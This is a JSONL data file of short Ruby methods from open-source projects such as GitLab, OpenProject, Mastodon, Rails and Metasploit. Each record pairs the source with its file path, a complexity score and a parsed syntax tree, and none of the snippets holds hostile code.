{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_output_as_buffered_backup.rb","start_line":90,"raw_source":"def format(tag, time, record)\n      [tag, time.to_i, record].to_json + \"\\n\"\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"format\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"to_i\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]},\"to_json\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}","id":"75249c62-0950-423f-ae0a-8ee6a7767e13"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/repository.rb","start_line":237,"raw_source":"def committers\n    @committers ||= Changeset.where(repository_id: id).distinct.pluck(:committer, :user_id)\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"committers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@committers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Changeset\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]},\"distinct\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"committer\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]}","id":"eb67b675-65a0-4761-ab7d-8ecd0d80e2a3"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/setup_travis.rb","start_line":4,"raw_source":"def self.run(params)\n        other_action.setup_ci(provider: \"travis\", force: params[:force])\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"other_action\"]},\"setup_ci\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"provider\"]},{\"type\":\"str\",\"children\":[\"travis\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"force\"]}]}]}]}]}]}","id":"64a19e1d-3db1-4f14-83d9-7da4f7e626ff"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/import_export/importer.rb","start_line":21,"raw_source":"def perform\n      RateLimiter.disable\n\n      import_users\n      import_groups\n      import_categories\n      import_topics\n      import_translation_overrides\n\n      self\n    ensure\n      RateLimiter.enable\n    end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RateLimiter\"]},\"disable\"]},{\"type\":\"send\",\"children\":[null,\"import_users\"]},{\"type\":\"send\",\"children\":[null,\"import_groups\"]},{\"type\":\"send\",\"children\":[null,\"import_categories\"]},{\"type\":\"send\",\"children\":[null,\"import_topics\"]},{\"type\":\"send\",\"children\":[null,\"import_translation_overrides\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RateLimiter\"]},\"enable\"]}]}]}","id":"1404e064-3fa8-4fa8-a280-f37c3fa4f863"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/attributes_finder.rb","start_line":24,"raw_source":"def find_relations_tree(model_key, include_import_only_tree: false)\n        return @tree[model_key].deep_merge(@import_only_tree[model_key] || {}) if include_import_only_tree\n\n        @tree[model_key]\n      end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"find_relations_tree\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_key\"]},{\"type\":\"kwoptarg\",\"children\":[\"include_import_only_tree\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"include_import_only_tree\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tree\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"model_key\"]}]},\"deep_merge\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@import_only_tree\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"model_key\"]}]},{\"type\":\"hash\",\"children\":[]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tree\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"model_key\"]}]}]}]}","id":"6494aa22-09a1-447c-b0b7-47b42594f94c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/system_check/app/authorized_keys_permission_check.rb","start_line":17,"raw_source":"def repair!\n        authorized_keys.create\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"repair!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorized_keys\"]},\"create\"]}]}","id":"4ba0f2d8-f2f4-4c5b-a159-7e52f71acecb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/snippets_helper.rb","start_line":61,"raw_source":"def embedded_copy_snippet_button(blob)\n    return unless blob.rendered_as_text?(ignore_errors: false)\n\n    button_options = { title: 'Copy snippet contents',\n                       onclick: \"copyToClipboard('.blob-content[data-blob-id=\\\"#{blob.id}\\\"] > pre')\" }\n\n    render Pajamas::ButtonComponent.new(button_options: button_options) do\n      external_snippet_icon('copy-to-clipboard')\n    end\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"embedded_copy_snippet_button\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"blob\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blob\"]},\"rendered_as_text?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ignore_errors\"]},{\"type\":\"false\",\"children\":[]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"button_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Copy snippet contents\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"onclick\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"copyToClipboard('.blob-content[data-blob-id=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blob\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"\\\"] > pre')\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pajamas\"]},\"ButtonComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"button_options\"]},{\"type\":\"lvar\",\"children\":[\"button_options\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"external_snippet_icon\",{\"type\":\"str\",\"children\":[\"copy-to-clipboard\"]}]}]}]}]}","id":"5061df66-a81b-446b-af29-4f3130b6be56"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/portal/app_group.rb","start_line":42,"raw_source":"def all\n          client.app_groups.map { |group| self.factory(group) }\n        end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"app_groups\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"factory\",{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}]}","id":"94534d9a-5dad-4cb1-972b-caf5b8d6006b"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/accounts_controller.rb","start_line":60,"raw_source":"def hashtag_scope\n    tag = Tag.find_normalized(params[:tag])\n\n    if tag\n      Status.tagged_with(tag.id)\n    else\n      Status.none\n    end\n  end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"hashtag_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tag\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"find_normalized\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tag\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"tagged_with\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"none\"]}]}]}]}","id":"ea6454d1-bbe8-496e-859c-488e2cff7037"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/chat_thread.rb","start_line":129,"raw_source":"def hover_message(message)\n        message = message_by_id(message.id)\n        # Scroll to top of message so that the actions are not hidden\n        page.scroll_to(message, align: :top)\n        message.hover\n        message\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"hover_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"message_by_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"scroll_to\",{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"align\"]},{\"type\":\"sym\",\"children\":[\"top\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"hover\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}","id":"29b09f21-3379-4189-851b-1212164c255d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/pages_domain.rb","start_line":130,"raw_source":"def has_valid_intermediates?\n    return false unless x509\n\n    # self-signed certificates don't have the certificate chain\n    return true if x509.verify(x509.public_key)\n\n    store = OpenSSL::X509::Store.new\n    store.set_default_paths\n\n    store.verify_callback = ->(is_valid, store_ctx) {\n      # allow self signed certs, see https://gitlab.com/gitlab-org/gitlab/-/issues/356447\n      return true if store_ctx.error == X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN\n\n      self.errors.add(:certificate, store_ctx.error_string) unless is_valid\n      is_valid\n    }\n\n    store.verify(x509, untrusted_ca_certs_bundle)\n  rescue OpenSSL::X509::StoreError\n    false\n  end","complexity_score":30.9,"ast_json":"{\"type\":\"def\",\"children\":[\"has_valid_intermediates?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"x509\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"x509\"]},\"verify\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"x509\"]},\"public_key\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"store\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"X509\"]},\"Store\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"set_default_paths\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"verify_callback=\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"is_valid\"]},{\"type\":\"arg\",\"children\":[\"store_ctx\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store_ctx\"]},\"error\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_valid\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"certificate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store_ctx\"]},\"error_string\"]}]}]},{\"type\":\"lvar\",\"children\":[\"is_valid\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"verify\",{\"type\":\"send\",\"children\":[null,\"x509\"]},{\"type\":\"send\",\"children\":[null,\"untrusted_ca_certs_bundle\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"X509\"]},\"StoreError\"]}]},null,{\"type\":\"false\",\"children\":[]}]},null]}]}","id":"d1ef9d22-a09c-406c-8e42-54cf8c29d48d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-utils/lib/gitlab/utils/system.rb","start_line":66,"raw_source":"def memory_total\n        sum_matches(PROC_MEM_INFO, memory_total: MEM_TOTAL_PATTERN)[:memory_total].kilobytes\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"memory_total\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sum_matches\",{\"type\":\"const\",\"children\":[null,\"PROC_MEM_INFO\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"memory_total\"]},{\"type\":\"const\",\"children\":[null,\"MEM_TOTAL_PATTERN\"]}]}]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"memory_total\"]}]},\"kilobytes\"]}]}","id":"ca19b7ec-8a45-4e60-b597-1ba1366386fa"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/models/work_packages/pdf_export/work_package_list_to_pdf_spec.rb","start_line":148,"raw_source":"def work_package_details(work_package, index, ltfs = [])\n    result = [\n      \"#{index}.\", work_package.subject,\n      column_title(:id), work_package.id.to_s,\n      column_title(:status), work_package.status.name,\n      column_title(:story_points), work_package.story_points.to_s,\n      column_title(:done_ratio), work_package_done_ratio(work_package),\n      \"My Link\", \"https://example.com\"\n    ]\n    ltfs.each do |ltf|\n      case ltf\n      when \"description\"\n        result.push(label_title(:description), work_package.description)\n      when text_custom_field_a.id\n        result.push(*work_package_details_long_text(text_custom_field_a, work_package))\n      when text_custom_field_b.id\n        result.push(*work_package_details_long_text(text_custom_field_b, work_package))\n      end\n    end\n    result\n  end","complexity_score":40.2,"ast_json":"{\"type\":\"def\",\"children\":[\"work_package_details\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]},{\"type\":\"arg\",\"children\":[\"index\"]},{\"type\":\"optarg\",\"children\":[\"ltfs\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"subject\"]},{\"type\":\"send\",\"children\":[null,\"column_title\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"id\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[null,\"column_title\",{\"type\":\"sym\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"status\"]},\"name\"]},{\"type\":\"send\",\"children\":[null,\"column_title\",{\"type\":\"sym\",\"children\":[\"story_points\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"story_points\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[null,\"column_title\",{\"type\":\"sym\",\"children\":[\"done_ratio\"]}]},{\"type\":\"send\",\"children\":[null,\"work_package_done_ratio\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]},{\"type\":\"str\",\"children\":[\"My Link\"]},{\"type\":\"str\",\"children\":[\"https://example.com\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ltfs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ltf\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ltf\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"push\",{\"type\":\"send\",\"children\":[null,\"label_title\",{\"type\":\"sym\",\"children\":[\"description\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"description\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"text_custom_field_a\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"push\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package_details_long_text\",{\"type\":\"send\",\"children\":[null,\"text_custom_field_a\"]},{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"text_custom_field_b\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"push\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package_details_long_text\",{\"type\":\"send\",\"children\":[null,\"text_custom_field_b\"]},{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]}]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"5bbac9d1-0521-42fa-920a-d4df4d9763a7"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/redmine/menu_manager/menu_helper.rb","start_line":241,"raw_source":"def menu_node_options(node)\n    {\n      class: node_or_children_selected?(node) ? \"open\" : nil,\n      data: {\n        name: node.name,\n        \"menus--main-target\": \"item\"\n      }\n    }.compact\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"menu_node_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"node_or_children_selected?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"str\",\"children\":[\"open\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"menus--main-target\"]},{\"type\":\"str\",\"children\":[\"item\"]}]}]}]}]},\"compact\"]}]}","id":"bee331da-49be-48bd-8af1-ff9cbbd5d68d"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/seeders/demo_data/references.rb","start_line":34,"raw_source":"def url_helpers\n      @url_helpers ||= OpenProject::StaticRouting::StaticRouter.new.url_helpers\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"url_helpers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@url_helpers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"StaticRouting\"]},\"StaticRouter\"]},\"new\"]},\"url_helpers\"]}]}]}","id":"e8f462f1-bd0b-498a-852a-712ab5d1027b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/legend_bot_exec.rb","start_line":147,"raw_source":"def quit(sock)\n    quit_msg = \"QUIT :bye bye\\r\\n\"\n    sock.put(quit_msg)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"quit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sock\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"quit_msg\",{\"type\":\"str\",\"children\":[\"QUIT :bye bye\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"quit_msg\"]}]}]}]}","id":"58a6a044-3970-4764-903b-a0f89467e104"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/ldap_groups/app/services/ldap_groups/synchronize_filter_service.rb","start_line":9,"raw_source":"def call\n      count = synchronize!\n      ServiceResult.success(result: count)\n    rescue StandardError => e\n      error = \"[LDAP groups] Failed to extract LDAP groups from filter #{filter.name}: #{e.class}: #{e.message}\"\n      Rails.logger.error(error)\n      ServiceResult.failure(message: error)\n    end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\",{\"type\":\"send\",\"children\":[null,\"synchronize!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResult\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"count\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[LDAP groups] Failed to extract LDAP groups from filter \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"lvar\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResult\"]},\"failure\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]}]}]},null]}]}","id":"5db3e7ac-b5a8-4f55-a14e-0e51fa60682d"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/activitypub/move_serializer.rb","start_line":15,"raw_source":"def target\n    ActivityPub::TagManager.instance.uri_for(object.target_account)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"target\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"target_account\"]}]}]}","id":"73f68c2e-1ddd-4e06-8979-38e3808388af"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/lookup_context.rb","start_line":148,"raw_source":"def any?(name, prefixes = [], partial = false)\n        name, prefixes = normalize_name(name, prefixes)\n        details, details_key = detail_args_for_any\n        @view_paths.exists?(name, prefixes, partial, details, details_key, [])\n      end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"any?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"prefixes\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"partial\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"lvasgn\",\"children\":[\"prefixes\"]}]},{\"type\":\"send\",\"children\":[null,\"normalize_name\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"prefixes\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"details\"]},{\"type\":\"lvasgn\",\"children\":[\"details_key\"]}]},{\"type\":\"send\",\"children\":[null,\"detail_args_for_any\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view_paths\"]},\"exists?\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"prefixes\"]},{\"type\":\"lvar\",\"children\":[\"partial\"]},{\"type\":\"lvar\",\"children\":[\"details\"]},{\"type\":\"lvar\",\"children\":[\"details_key\"]},{\"type\":\"array\",\"children\":[]}]}]}]}","id":"57c6314e-02c7-4a84-a65b-10e42af6029f"}
